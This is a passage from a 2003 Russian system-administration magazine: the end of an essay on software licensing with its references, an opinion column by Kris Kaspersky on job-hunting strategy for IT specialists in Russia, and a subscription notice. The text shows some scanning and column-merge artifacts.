сразу открыт и нет смысла носить воду в решете. Привычка людей – это большой подводный камень и, пожалуй, единственная вещь, которая заставляет людей делать неправильный выбор. Наиболее уместна в завершение будет пословица «Кто платит, тот и заказывает музыку», и здравого смысла в этом нет и не может быть, пока нас с вами окружают материалисты, целью которых стоит личностное обогащение за счёт других. «Возьми от жизни всё!», так и просится дописать: «Не можешь взять умом – отбери у соседа силой». Разве что сосед тоже не дремлет и отнимет первым.

85


образование Литература: 1. Николо Макиавелли. Государь. – М.:ЭКСМО-Пресс; Харьков: Фолио, 1998. 2. Марк Митчел, Джеффри Оулдем, Алекс Самьюэл. Программирование для Linux. Профессиональный подход.: Пер.с англ. – М.: Издательский дом «Вильямс», 2002. 3. GNU’s Not Unix! – the GNU Project and the Free Software Foundation (FSF): http://www.gnu.org/. Текст лицензии: http://www.gnu.org/copyleft/gpl.html 4. Неофициальный перевод Елены Тяпкиной на русский язык GENERAL PUBLIC LICENSE GNU: http:// linux.yaroslavl.ru/docs/about/license/gplrus.html 5. Перевод Сергея Середы на русский язык GENERAL PUBLIC LICENSE GNU: http://consumer.nm.ru/gpl_ru.htm 6. Примеры лицензионных соглашений Microsoft с конечным пользователем (EULA): http://www.microsoft.com/ rus/licensing/general/examples/ 7. Лицензионное соглашение Microsoft Windows XP Home Edition: http://www.microsoft.com/rus/licensing/general/ examples/winxphome_box.asp 8. State Applauds Open Windows by Larisa Naumenko//The Moscow Times No.2602 Wendesday, January 22, 2003, p.9. 9. Дмитрий Аксёнов. Киберкоп, или Конец виртуального мира//Системный администратор №1(2) январь 2003 г. – С. 57.

86

10. «This Chip Will Explode in 5 Seconds»: Imagining the Uses THE NEW YORK TIMES February 14, 2002 By IAN AUSTEN, http://physicalsciences.ucsd.edu/news_articles/ missionimpossible.htm 11. «Телефон-граната» //Ломоносов вместе с NewScientist, №3, сентябрь 2002 г. – С.17. 12. The Open Source Definition http://www.opensource.org/ docs/definition_plain.html 13. Соглашение OpenSource//Джек Такет(мл.), Стив Барнет Использование Linux. Специальное издание.:5-е изд.:Пер. с англ.: Уч.пос. - М.: Издательский дом «Вильямс», 2000 г. – С.765-767. 14. Руководящий документ Гостехкомиссии при президенте РФ «Средства вычислительной техники. Межсетевые экраны. Защита от несанкционированного доступа к информации. Показатели защищенности от несанкционированного доступа к информации». http:// aker.alpha.ru/Certif/RD_FW.html 15. Руководящий документ Гостехкомиссии при президенте РФ «Автоматизированные системы. Защита от несанкционированного доступа к информации. Классификация автоматизированных систем и требования по защите информации». http://www.security.lanit.ru/lib/ rd1.html 16. Department Of Defense Trusted Computer System Evaluation Criteria(«Orange book»), December, 1985. http:// www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html



IMHO

РЕЦЕПТЫ ПРАВИЛЬНОГО ТРУДОУСТРОЙСТВА «Не нужно плыть по течению. Не нужно плыть против течения. Нужно плыть ттууда, ку да тебе надо» куда К озьма Пру тк ов Козьма Прутк тков

Относительно рынка труда в России существует два мнения: пациент скорее жив, чем мертв, и пациент скорее мертв, чем жив. Лично я считаю, что в сфере информационных технологий реализовать свой потенциал в России намного проще, чем во всех остальных странах мира вместе взятых. Недостаток квалифицированной рабочей силы у нас просто колоссальный, и трудоустроиться в этой обстановке очень легко. Правда, в отличие от западных стран цивилизованного рынка труда в России как не было, так и нет, и потому механизмы трудоустройства, которые хорошо работают «там», у нас вращаются со скрипом или не вращаются вообще. И, если вам до чертиков надоело заполнять эти шаблонные резюме и вы хотите попробовать другие, более действенные методы, эта статья для вас!

КРИС КАСПЕРСКИ 88


iMHO Ваши действия по трудоустройству по шагам Большинство статей, посвященных трудоустройству, начинаются с рекомендаций по правильному заполнению резюме и хитростям их размещения на сайтах типа www.all-jobs.ru. Так вот: все это чушь собачья и слепое следование американскому шаблонному образцу. Так вы ничего не найдете, а если и найдете, то лишь благодаря его величеству Счастливому Случаю. Резюме – это пассивный способ трудоустройства, и от вас тут действительно очень мало что зависит. Вот активный способ – это другое дело! Прежде всего уясните себе одну очень простую вещь. Гарантированное трудоустройство обеспечивается либо за счет связей, либо за счет ваших профессиональных навыков. Ситуацию со связями мы рассматривать не будем, т.к. тут и без нас все предельно ясно, а вот на профессиональных навыках остановимся поподробнее.

Ингредиент номер один: опыт Большинство молодых людей, устраивающихся на работу, имеют крайне оптимистичное представление об уровне своей подготовки и перечисляют длинный список операционных систем и программных пакетов, с которыми они как бы умеют работать. И чем длиннее такой список, тем меньше шансов у его обладателя на скорое трудоустройство. Людей, совмещающих блестящие знания баз данных с умением проектировать интерфейсы и отлаживать драйвера, единицы, и работодатели об этом прекрасно знают. Подавляющее большинство специалистов умеют делать что-то одно, но зато они делают это хорошо. «Специалисты» же, претендующие на обширные и глубокие знания в различных областях, в подавляющем большинстве случаев не представляют для нанимателей абсолютно никакого интереса. Скажите, а вы бы купили телевизор, совмещенный с холодильником и шагающим экскаватором? Выберите какое-то одно конкретное направление, близкое вам по духу и по теме. Скажем, системный программист может быть по своей натуре человеком нелюдимым и необщительным, поскольку природа системных компонентов такова, что они могут создаваться и в одиночку. Прикладной программист уметь работать в коллективе обязан по определению, а системный администратор – это, в первую очередь, не столько хороший специалист, сколько первоклассный хозяйственник. Теперь вы должны приложить максимум усилий к тому, чтобы освоить свою специальность до полного непонимания. Да-да, именно непонимания, ибо в познании есть как минимум три стадии: знаю мало-помалу, знаю все и ничего не знаю. Достижение третьей стадии и есть свидетельство того, что вы кое в чем начинаете разбираться. Важно понять: профессиональные навыки не могут быть приобретены ни дома, ни в университете. Лишь на реальной работе, в окружении реальных специалистов и в процессе решения реальных проблем постигаются азы любых высокотехнологических профессий.

№9(10), сентябрь 2003

Итак, задача-минимум: найти фирму, где волею судьбы в данный конкретный момент собрались очень неглупые люди, и устроиться туда на любую диктуемую работодателем зарплату, а то и вовсе бесплатно (это не шутка! Лучше бесплатно получать образование на фирме, чем платить деньги за протирание штанов в университете! Сам автор когда-то так и поступал). Только помните, что профессию не получают, а воруют! Здесь педагогов нет и лекции читать никто не будет. Держите все шесть органов своих чувств широко открытыми и всесторонне анализируйте каждую ситуацию, почему у ваших старших товарищей что-то получается, а у вас нет. Причем не пытайтесь вести записи вида «если из процессора 248AE идет дым, необходимо подтянуть терминатор 63-98 к верхнему сигнальному уровню». Подобная информация очень быстро устаревает, и к тому же суть профессионализма заключается отнюдь не в сумме знаний, а в умении при неполноте этих самых знаний быстро найти наиболее перспективное направление, в котором надо «копать». Практика показывает, что любой наугад взятый коллектив умных людей не может существовать бесконечно долго и очень быстро распадается (почему – не знаю, но наблюдаемый факт), так что очень может статься, что ни одного такого коллектива в пределах вашей досягаемости просто не окажется. И что тогда? Тогда – отправляйтесь в ближайший торговый салон и заключайте с ними долгосрочный договор на взятие той или иной аппаратуры напрокат (естественно, за деньги и с предоплатой). Большинство продавцов на это идет с радостью, а вы получаете в свое распоряжение большое количество разношерстного железа. Зачем это нужно? А затем, что без опыта работы с оборудованием вы никогда не станете настоящим специалистом. Чем больше оборудования пройдет через ваши руки, тем больше у вас накопится опыта по устранению сопутствующих ему проблем и в конце концов разовьется настоящий нюх на неисправности. То же самое касается и программистов (как прикладных, так и системных). Компьютерное железо очень различно, и всякая конфигурация имеет свои особенности. Программа, заточенная под одно оборудование, на другом может просто не пойти, и все это вы должны заранее знать! Если же денег на приобретение оборудования у вас нет, устраивайтесь в торговую фирму хотя бы простым сторожем, но с правом доступа к железу. Из литературы вам потребуется… да, пожалуй, не потребуется ровным счетом ничего, кроме учебника английского языка и миллионов страниц документации, которую можно свободно скачать из Интернета и распечатать. Учебники в стиле «Язык Си++ для начинающих» приносят намного больше вреда, чем пользы и зачастую необратимо калечат мышление новичков. Приучайтесь осваивать продукт по его родной документации, а не по ее исковерканным описаниям сторонними авторами. Да, знаю, это трудно и на первых порах языковой барьер будет очень мешать (ведь вся документация сплошь на английском), но другого пути у вас просто нет. Профессионал не может позволить себе

89


IMHO впасть в зависимость от наличия корректных русских переводов. Но не пытайтесь уподобить документацию догмату – ее ведь люди пишут, и ошибок там… Ничего не принимайте на веру и все, абсолютно все проверяйте экспериментально. Разумеется, это не означает, что все, не являющееся документацией, недостойно вашего внимания. Напротив! Читайте все, что только подвернется вам под руку (особенно ту литературу, что описывает личный опыт ее автора), активно участвуйте в сетевых конференциях (опять-таки ничего не принимая на веру без предварительной проверки), будьте жадными до информации, как бурундук до желудей. Информация – штука такая, никогда нельзя сказать наперед: понадобится вам она или нет.

Ингредиент номер два: авторитет Хорошо, необходимый опыт у вас уже имеется. Теперь остается добиться того, чтобы об этом узнали все окружающие. То есть, говоря другими словами, вам нужно приобрести авторитет. Самое главное – не начать действовать раньше времени. Первый блин, который, как известно, всегда идет комом, может сослужить плохую службу, и у окружающих сложится значительно худшее мнение о вас, чем оно сложилось бы, начни вы заявлять о себе чуточку позже. Заявлять о себе можно различными путями. Если вы программист – напишите несколько хороших программ, вложив в них весь свой опыт и душу, и выложите их в открытый доступ в Интернет вместе с исходными текстами в придачу, так как даже беглый взгляд на последние позволяет надежно установить приблизительный уровень вашего профессионализма. Будет просто замечательно, если эти программы дойдут по вашего потенциального работодателя своим естественным путем и он окажется от них в полном восторге. Считайте, что после этого высокооплачиваемое рабочее место у вас уже в кармане. Системному администратору наглядно продемонстрировать свои таланты намного труднее, однако если эти таланты действительно есть, попробуйте написать несколько статей в различные компьютерные журналы, раскрывающие секреты вашего профессионального мастерства. С высокой степенью вероятности вас заметят и предложат работу, если, конечно, вы не сделаете приписки к статье с пометкой «готов рассмотреть предложения о работе». Наниматели склонны считать, что настоящие профессионалы без работы не сидят и, похоже, что они очень даже правы. В сетевых конференциях не кидайтесь в атаку, стремясь продемонстрировать свои знания за счет уличения ваших собеседников в невежестве. Во-первых, еще неизвестно, чья возьмет (с точки зрения внешнего наблюдателя, не разбирающегося в технических деталях спора, ошибочные аргументы вашего оппонента зачастую выглядят более убедительными, нежели бесспорные истины, высказанные вами). Во-вторых, настоящие профессионалы в таких склоках практически никогда не участвуют: нет времени, да и необходимости переубеждать заблудших тоже нет. Позвольте одну маленькую китайскую притчу:

90

Цзи Синцзы тренировал бойцового петуха для чжоуского царя Сюаньвана. Через десять дней [царь] спросил: – Готов ли петух к бою? – Еще нет. Пока самонадеян, попусту кичится. Через десять дней [царь] снова задал [тот же] вопрос. – Пока нет. Еще бросается на [каждую] тень, откликается на [каждый] звук. Через десять дней [царь] снова задал [тот же] вопрос. – Пока нет. Взгляд еще полон ненависти, сила бьет через край. Через десять дней [царь] снова задал [тот же] вопрос. – Почти [готов]. Не встревожится, пусть даже услышит [другого] петуха. Взгляни на него – будто вырезан из дерева. Полнота его свойств совершенна. На его вызов не посмеет откликнуться ни один петух – повернется и сбежит. Существует такое мнение: что сначала человек работает на авторитет, а затем авторитет работает на человека. Отчасти это действительно так, однако отсюда вовсе не следует, что однажды заработав хороший авторитет, можно до конца жизни уже ничего не делать. В сфере информационных технологий все очень быстро меняется и старые заслуги здесь быстро списывают в утиль.

Ингредиент номер три: чувство собственного достоинства Как говорит народная мудрость, любой начальник имеет над тобой ровно столько власти, столько ты ему даешь властвовать над собой. В идеале начальник – это ваш товарищ и полноправный партнер, и его власть чисто условна. Он имеет право уволить вас или понизить вам зарплату, а вы имеете право сказать вслух все, что вы о нем думаете, и отправиться восвояси к другому месту работы. Соответственно начальник не имеет права держать вас на работе против вашей собственной воли, а вы не имеете права работать на ней, если были уволены. Так что ваши шансы абсолютно равны. Вы как два гребца, сидящих в одной лодке. Если не будет вас (не в смысле вас лично, а всего рабочего персонала), то начальник сам по себе далеко не уплывет. Почему начальники бывают злые? Да потому, что мы готовы работать и у злых начальников. Если вас это лично не устраивает – не позволяйте ему срывать свою злость на вас. Держитесь независимо и с достоинством. За дело фирмы – болейте. На амбиции начальника – начихать. Умный начальник это сразу поймет и ослабит давление. Глупый… глупый, конечно, немедленно уволит, ну да не велика потеря. В конечном счете если вы не будете себя уважать, то начальник уважать вас уж точно не станет. Однако ни в коем случае не пытайтесь чем-либо угрожать или шантажировать начальника и, уж тем более категорически недопустимо внедрять деструктивные компоненты в систему или так или иначе вредительствовать! Забавное наблюдение из жизни автора: тех начальников, что он считал хорошими начальниками, большинство окружающих зачастую считало крайне агрессивными и


iMHO деспотичными, и, соответственно, наоборот. Отсюда мораль: личность начальника – это чистейшей воды абстракция. Результат взаимоотношений между двумя людьми в равной степени зависит от них обоих.

Стратегия действий в ситуации «выбираете вы» В выборе работы и знакомстве с девушкой есть много общего. Основной неудачей неопытных любовников является то, что, получив категоричный отказ, они автоматически переключаются на другого партнера, и так происходит до тех пор, пока им не «повезет». Только везение это довольно относительное (отсюда и кавычки). Дама сердца, ответившая первому встречному «да», навряд ли окажется хорошей спутницей жизни, и уж точно не самой лучшей, какую мог наш кавалер завоевать, будь он немного понастойчивее. Куда бы вы ни стремились устроится: хоть в Микрософт, хоть в Вася Пупкин и К, вы устроитесь туда, если будете действовать по плану! Впрочем, Микрософт, полюбому это не лучший выбор (см. врезку «Корпорации и крупные компании»), а Васи Пупкины – они очень разные бывают. Поэтому, выбирая будущее место своей работы, прежде всего к нему присмотритесь. Сделав ставку на молодую фирму, вы можете сорвать большой куш, т.к. такие фирмы обычно испытывают большие проблемы с персоналом и потому могут сразу же предложить чрезвычайно соблазнительные условия, однако если фирма через год-два рухнет, вы останетесь практически ни с чем и весь процесс придется начинать сначала (впрочем, приобретенный опыт с вами все-таки останется). Фирмы, существующие на рынке несколько лет (а то и десятилетий) также не гарант стабильности, и прежде чем туда соваться, вы должны в меру своих сил и возможностей изучить перспективы долгосрочного развития фирмы. Посмотрите: не расширялась ли фирма до размеров амбиций своего директора в тот период, когда ей следовало бы бросить все силы на выживание? Соответствует ли зарплата сотрудников доходу? Многие фирмы в плане привлечения специалистов увеличивают им зарплату до той степени, что работа специалистов перестает быть доходной и тогда зарплата вновь возвращается в нормальное русло (в результате чего все специалисты просто разбегаются), либо же фирма просто разлетается по швам.

Несколько советов, как вести себя на собеседовании Первое и главное. Не бойся показаться дураком, бойся показаться умным. Умный человек часто становится угрозой для его непосредственного начальника, и от таких заблаговременно пытаются избавляться. Второе. Не интересуйся зарплатой. Не интересуйся условиями труда. Интересуйся работой. Это вызывает уважение работодателя и значительно увеличивает твои шансы на успех. А зарплата… не понравится – уйдешь. Третье. Не обещай работодателю того, что ты все равно не собираешься делать, и вообще поменьше всего обещай, не строй никаких планов (Да я тут вам! Да я горы сверну!

№9(10), сентябрь 2003

Другой немаловажный критерий: отношение руководства к своим сотрудникам. Не секрет, что во многих фирмах отношение к людям поистине скотское: начальство постоянно треплет нервы, беспричинно объявляет выговоры, загружает работой сверх всяких норм и при этом считает, что персонал им чем-то еще и обязан. В других же фирмах, напротив, начальник – чуть ли не отец родной и атмосфера в коллективе мягкая и спокойная. Никто никого не пытается «подсидеть» или «обойти» в карьерной гонке на выживание. Иной специалист, нарвавшись на плохую фирму, начинает считать, что сейчас все фирмы такие. Вовсе нет! Ищите то, что вам нужно, и вы это найдете! Интернет-знакомства в этом помогают до чрезвычайности, просто заведите более или менее личную переписку с некоторыми симпатичными лично вам сотрудниками различных фирм – как ведущими специалистами, так и простыми рабочими. Сразу же станет ясно что к чему и что та или иная фирма собой представляет. Итак, фирма выбрана. Друзья в ней у вас уже имеются. Ваша квалификация им отлично известна (ну не болтали же вы все это время о погоде? Наверняка ведь обсуждали те или иные технические проблемы и не исключено, что оказывали фирме довольно ценные услуги). И что вы думаете, они еще и не принять вас могут?!

Стратегия действий в ситуации «выбирают вас» Собственно говоря, у любого нормального специалиста проблема в трудоустройстве только одна: найти веский повод для отказа очередному нанимателю, ухитрившись при этом его не обидеть (а обижать нельзя, мало ли, вдруг с ним еще сотрудничать придется). Просто занимайтесь своим любимым делом: ковыряйтесь в железе, пишите программки «для души», изучайте сетевые протоколы, общайтесь по Интернету, и вы сами не заметите, как предложения о работе посыпятся одно за другим. Выбирайте! И не стесняйтесь диктовать свои условия нанимателям. Ведь это они пришли к вам, это они нуждаются в вас, так что никакие компромиссы тут неуместны. Зачем соглашаться на заведомо плохую работу, если завтра наверняка появится еще более хорошая? Только не переоцените свои возможности и свою значимость в глазах нанимателя и – упаси Боже – не заразитесь звездной болезнью, уверовав в то, что вы крутой специалист, который все знает и которому все нипочем. Вот только дорвусь до лопаты!). Напротив, будь сдержан (вот осмотрюсь, вольюсь в струю коллектива, а там… если до той поры вы меня не уволите… мы и посмотрим). Четвертое (вытекающее из третьего). Не ходи в чужой монастырь со своим уставом. Не пытайся убеждать фирму, что они делают что-то не так, и что ты мог бы сделать это лучше. Пятое (диаметрально расходящееся с четвертым). Если у тебя есть свои идеи и ты видишь, что кое-что здесь можно было бы и улучшить, не пытайся загонять инициативу внутрь. Дай ей свободу. Может быть, конкретно в этом месте тебе и откажут, но рано или поздно ты найдешь именно ту работу, которую тебе нужно.

91


IMHO Шестое. Если тебя спросят то, чего ты не знаешь, говори правду «не знаю» и не думай, что ты подписываешь этими словами свой смертный приговор. В конце концов работодатель и не надеется найти специалиста, который бы все знал (такой специалист далеко не каждому по карману). Седьмое. Постарайся поставить работодателя в нестандартную ситуацию. Если он говорит десять тысяч рублей, говори: «Нет! (и после непродолжительной паузы) Десять – это слишком много. Давайте пять… (пауза) для начала. А там, когда мы присмотримся друг к другу, – там видно будет». Восьмое. Если работодатель, ранее незнакомый тебе, попытается с места в карьер перескочить на дружеские отношения, держись от него на официальной дистанции, ибо такая «дружба» обычно приводит к необходимости выполнения поручений, непосредственно не связанных с твоей работой и к тому же никак не оплачиваемых. Девятое. Если тебя все-таки не приняли – не расстраивайся. Возможно, причина вовсе не в тебе, а в нанимателе.

Корпорации и крупные компании Здесь вы будете чувствовать себя крошечным винтиком гигантской машины, ваше мнение никого не будет интересовать, вас обяжут соблюдать определенный корпоративный кодекс (даже если он будет противен вам). Атмосфера компании скорее всего будет нездоровая. Из низких чинов будет полно кретинических карьеристов (и вам придется им подчиняться), среднее и высшее руководство ничего не будет знать о вашем существовании (ну кто вы для них), а от ваших коллег (среди которых карьеристы тоже найдутся) придется в любой момент ждать удара в спину. Теперь о плюсах. Устроиться в такие компании оказывается на удивление легко, однако к вашим профессиональным навыкам отношение будет довольно скептическим (типа: вот проработай в компании с мое), хотя у многих тамошних авторитетов с солидным стажем и высокими должностями даже зачатки профессионализма и не ночевали. Умные люди, конечно, будут. И их будет много. Но дураков будет еще больше. Заплаты здесь средние (кормить свой штат во всей его своре непросто даже гигантам), правда, зарплата резко растет вместе с карьерой, но карьеру в силу огромной конкуренции здесь строить трудно. Профессиональных навыков такая работа тоже не дает (сначала вы будете каменщиком, который должен класть от сих до сих, даже если это и заведомо неправильно, а все попытки проявить инициативу будут жестоко вырезаться на корню, потом вы будете руководителем каменщиков, которому сверху спущен план, кривой, как бумеранг, разумеется, но внесение исправлений выходит за пределы вашей компетенции…. даже если вы пробьетесь в архитекторы, вы окажетесь под жестоким давлением кучи дизайнеров, менеджеров и прочих маркетоидов, предъявляющих к проекту нелепые и взаимоисключающие требования). Черт, минусов все-таки выходит больше. Зато уходить с работы вы будете в точно заданное время. Секунда в секунду.

Средние компании Нет, вы не винтик. Вы структурная единица (по типу семья – ячейка общества), и к вашему мнению иногда будет прислу-

92

шиваться даже Сам Главный. Корпоративный кодекс (если он вообще есть) обычно распространяется на «мальчиков» и «девочек», специально нанятых для демонстрации «лица фирмы». Специалисты (особенно хорошие) находятся в довольно независимых условиях и могут жить в собственном стиле (только голых баб на стенку не надо, ок?). Атмосфера здесь бывает самая разнообразная, но чаще относительно невысокой степени загазованности (то есть жить можно, хотя в горле все-таки першит). Карьеристов не так много, а откровенных идиотов среди них, за редкими исключениями, и вовсе нет. При наличии дипломатических навыков вы быстро наладите хорошие отношения со всей вертикалью власти, и если «нижние» начнут прижимать, вы сможете урегулировать ситуацию путем обращения «наверх». Устроиться в такие компании достаточно тяжело, т.к. все хорошие места уже давно схвачены, а штат и так раздут сверх предела. Зато если уж устроились, то для реализации собственного потенциала лучшего плацдарма и не придумаешь. Никто, конечно, не говорит, что все будет идти как по маслу. Вы встретите и равнодушное непонимание, и ожесточенное сопротивление, и даже палки в колесах, все это так, но… у средних фирм есть все необходимые средства для реализации ваших планов (если только они не совсем уж грандиозные), и к тому же есть потребность в новых идеях (иначе компания просто не удержится на рынке). Так что дерзайте. Удачи не желаю (удача – баба подлая и непостоянная), а вот лошадиная работоспособность вам бы не помешала. Концентрация интеллектуального потенциала на одно рабочее место в таких компаниях, как нигде, высока, поэтому, если сумеете убедить в перспективности своих идей всех окружающих, вместе горы свернете. Зарплаты высокие и очень высокие (штат небольшой, а его рентабельность велика), правда, карьеру сделать еще труднее, чем в крупных компаниях, т.к. в отличие от последних плановыми ротациями кадров здесь и не пахнет, да и вообще начальство меняется редко и неохотно. Тем не менее, если нельзя развиваться вглубь, это еще не означает, что вы не сможете развиваться вширь. Работайте на своем рабочем месте, оттачивайте свои знания и навыки, наконец, просто получайте удовольствие от самого процесса работы! Тем более что сверхурочные задержки здесь не редкость, а норма.

Мелкие компании Поздравляю! Вы в зазеркалье. Всякая мелкая компания есть проекция личности ее шефа на обстановку окружающей действительности. И чем компания мельче, тем она все зазеркалистее и зазеркалистее. Это может быть воздушный замок, расположенный в дорогом офисе и с ног до головы напичканный дорогой оргтехникой и улыбающимися личиками топ-моделей, пытающихся играть роль секретарш. Доходность предприятия, равно как и профессиональные навыки его сотрудников, директора абсолютно не интересуют (он вообще создал эту фирму ради отмывания денег). Но это может быть и прокуренная подвальная комната, войти в которую можно только изогнувшись по синусоиде. Здесь все свои, и сигаретный дым – один на всех. Начальник имеет ровно столько же привилегий, сколько и остальные члены команды. Ничего, хотя бы отдаленно напоминающего сле-


iMHO ды субординации, и в помине нет! Подчас такие команды бывают на редкость сплоченными, особенно если охвачены одной общей идеей, и устроиться сюда на работу может оказаться очень и очень трудно. Как правило, требуется личное знакомство или рекомендация одного из членов команды. Концентрация умных людей в мелких компаниях может достигать и 120%. Работать в такой атмосфере чрезвычайно интересно и увлекательно, правда, работать приходится очень и очень много. Порой – по 40-50 часов кряду (и это отнюдь не гипербола!), причем, без каких-либо гарантий получения достойной оплаты за свой труд. Все зависит от того, насколько хорошо пойдет продукт на рынке. И, как показывает практика, без посторонней помощи даже отличный продукт никуда не идет. Отсутствие грамотного менеджера, отсутствие долгосрочной рыночной стратегии, неумелое планирование и амбициозные идеи при полном отсутствии финансовых средств приводят к тому, что множество мелких фирм разоряются чуть ли не в течение года. Самое печальное, что реального опыта работа в таких фирмах не дает, да и не может дать. Концентрация на частных проблемах, общение с ограниченным кругом людей (не путать с кругом ограниченных людей), изматывающая работа не оставляют после себя практически ничего. Ничего, что представляло бы интерес для будущих работодателей.

Свободный копейщик Практически все то же самое, что и в мелкой компании, однако в своем домашнем офисе вы сам себе хозяин и

ALMA MATER Чему учат в институтах, спешно переименованных в большинстве своем в университеты? Ну чему-нибудь да учат… Не спорю, высшее образование грузилом в кармане никогда не будет, хотя не будет оно и тем спасительным «поплавком», которым было при социализме. В наши дни диплом для трудоустройства абсолютно необязателен. Автор этой статьи не имеет диплома, и его отсутствие ни разу не становилась непреодолимой преградой успешного трудоустройства. Даже наоборот. Устраиваясь в одну довольно престижную и именитую фирму, автор попал на собеседование непосредственно к самому Главному Инженеру только потому, что тот заинтересовался: что ж это за птица такая набралась наглости сунуться сюда без следов свидетельств высшего образования, когда к ним и «нормальные» люди устроиться не могут. Собеседование с руководящими работниками фирмы в таких случаях решает все, и если вы действительно квалифицированный специалист, то с вероятностью, близкой к единице, вас возьмут. Хуже, конечно, нарваться на девочку-секретаршу. Этой весь ваш профессионализм по барабану, и потому любыми путями пробивайте дорогу наверх – к начальству. Если хорошенько подумать, то можно прийти к выводу, что высшее образование – это рулетка. Повезет – вы окажетесь в коллективе умных людей, у которых действительно есть чему поучиться, а не повезет – понапрасну потратите время, причем весьма значительное его количество. А ведь способность к обучению стремительно тает с возрастом. Так, может быть, лучше плюнуть на традиции и вместо поступления в вуз заняться вопросами своего обу-

№9(10), сентябрь 2003

потому можете заниматься именно тем, что вас в данный момент больше всего интересует. Если сотрудничать с несколькими фирмами одновременно, то вы практически на сто процентов застрахованы от внезапного краха. Программируйте, администрируйте, ищите дыры в системах безопасности – сотни компаний нуждаются в ваших услугах и перебоев с заказами не будет. Правда, работать придется не очень много, а настолько много, что поначалу даже страшно себе представить, причем пословицу «Волка ноги кормят» вам придется вспоминать не раз и не два. Такая работа сильно изматывает, и, несмотря на все прелести вольной жизни, свободный копейщик практически никогда не отказывается от постоянной работы – стоит ему ее только предложить. В самом деле – перспектив карьерного роста здесь нет никаких (выше себя не прыгнешь). Сидишь, варишься в собственном соку, и ни обмена идеями тебе, ни простой дружеской помощи в трудные часы. Конечно, общаться с коллегами можно и по Интернету, но это всетаки не то. Свободные копейщики – они, как кошки, бродят где-то там сами по себе, на свою территорию чужих не пускают, а профессиональными секретами делятся крайне неохотно (ведь знания – это их хлеб). Возможностей для реализации серьезных проектов у одиночек нет. Если же несколько свободных кошек собираются в одну команду, то это будет фирма, независимо от того, зарегистрирована она официально или нет.

чения самостоятельно? Ведь в конечном итоге специалисты по информационным технологиям учатся всю свою жизнь. Приобретаемые знания и навыки настолько быстро устаревают, что описание передовых технологий просто не успевает попасть в учебники, а преподаватели оказываются не в состоянии совмещать преподавательскую деятельность с изучением всего нового. Да, конечно, какой-то костяк знаний остается незыблемым и фундаментальным, но… весь фокус в том, что: а) изучать фундаментальные знания можно и вне института, учебников на то – море; б) понятие «фундаментальности» очень относительно. Вот, допустим, интеграл. Вполне себе фундаментальное знание, но я знаю очень много высококвалифицированных программистов, которые с необходимостью вычисления интегралов так ни разу и не сталкивались. Поклонники высшего образования говорят: а вдруг завтра этот интеграл им пригодится, а с ним еще и матрицы в придачу?! Что ж! Если так, то алгоритм действий будет предельно прост. Идем в ближайшую библиотеку (или же вовсе в Интернет), берем там все, что мы хотели бы знать об интегралах, изучаем в необходимом разрезе, реализуем, что нам там было надо реализовать, и… забываем все это напрочь! (Негоже всякий хлам в мозгу держать, и если хотите сохранить цепкую память – учитесь все ненужное забывать). Какой смысл мучительно вспоминать с горем пополам зазубренные знания, какой смысл вообще зубрить весь «джентльменский набор»? Потребуется – поднимете соответствующую литературу и прочитаете. То, что требуется часто, запомнится и так. То же, что требуется от случая к случаю, запоминать нет необходимости.

93


IMHO Работа как средство самоидентификации! Говорят, что у «нас» работают, чтобы жить, а на Западе – живут, чтобы работать. Если работа не приносит морального удовлетворения, если основным символом успеха становятся деньги, то единственное, что остается порекомендовать в такой ситуации: идите на рынок и торгуйте бананами, а в компьютерной индустрии вам делать нечего. Не секрет, что многие становятся программистами лишь потому, что это «модно», «престижно» и к тому же достаточно перспективно в карьерном и финансовом отношении. Выбирать работу по принципу «выгодности», а не по степени призвания, вероятно, и есть основной отличительный признак «нового» времени от «доперестроечного» прошлого. Помилуйте, судари/господа! Чтобы работать в высокотехнологических сферах надобно призвание иметь, то есть определенные наклонности от природы или хотя бы непреодолимую тягу к компьютерам наконец. Причем эта тяга должна выражаться не в стремлении купить процессор покруче и запустить стрелялку поDOOMовистее, а, напротив, изучить свой недорогой и далеко не самый современный компьютер так, чтобы научиться чувствовать движение электронов в любой из его токовых цепей. Наивно считать, что всему этому можно научиться в

94

институте, да окончите вы его хоть с красным дипломом, но если наклонности к инженерным дисциплинам у вас нет, то справиться с нештатными ситуациями вы все равно не сможете. В лучшем случае будете худо-бедно ездить по наезженному кругу. Конечно, рынку требуются и такие люди, и у вас имеются достаточно неплохие шансы найти себе отличную (в смысле зарплаты) работу, но… если вы ее не полюбите, то, спрашивается, чего же стоит вся ваша жизнь? Если вы не идентифицируете себя со своей работой, если ваша работа не есть материальное воплощение ваших мыслей и чувств, то вы – труп при жизни. Напротив, если все сделанное вами несет частицу вас самого, вы будете жить ровно столько, сколько протянет последний из продуктов вашего труда, а может быть, и еще больше! Ведь всякое Хорошее Дело становится родоначальником других Хороших Дел. Вот только найти свое настоящее призвание иной раз оказывается очень трудно. Скажем, автор этой статьи, долгое время занимавшийся программированием и довольно скептически относящийся к журналистике/литературе, своих наибольших успехов добился именно на литературном поприще, что явилось для него полной неожиданностью. Поэтому не зацикливайтесь лишь на одном направлении! Подходите к поиску своего призвания творчески и не бойтесь экспериментировать.


подписка

Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60 Курьерская доставка по Москве Открыта редакционная подписка на II полугодие 2003 г. Информация на сайте www.samag.ru в разделе «Подписка» 81655

Единый подписной индекс:

81655 по каталогу агентства «Роспечать»

81655

Рады видеть Вас нашими читателями!

№9(10), сентябрь 2003

95


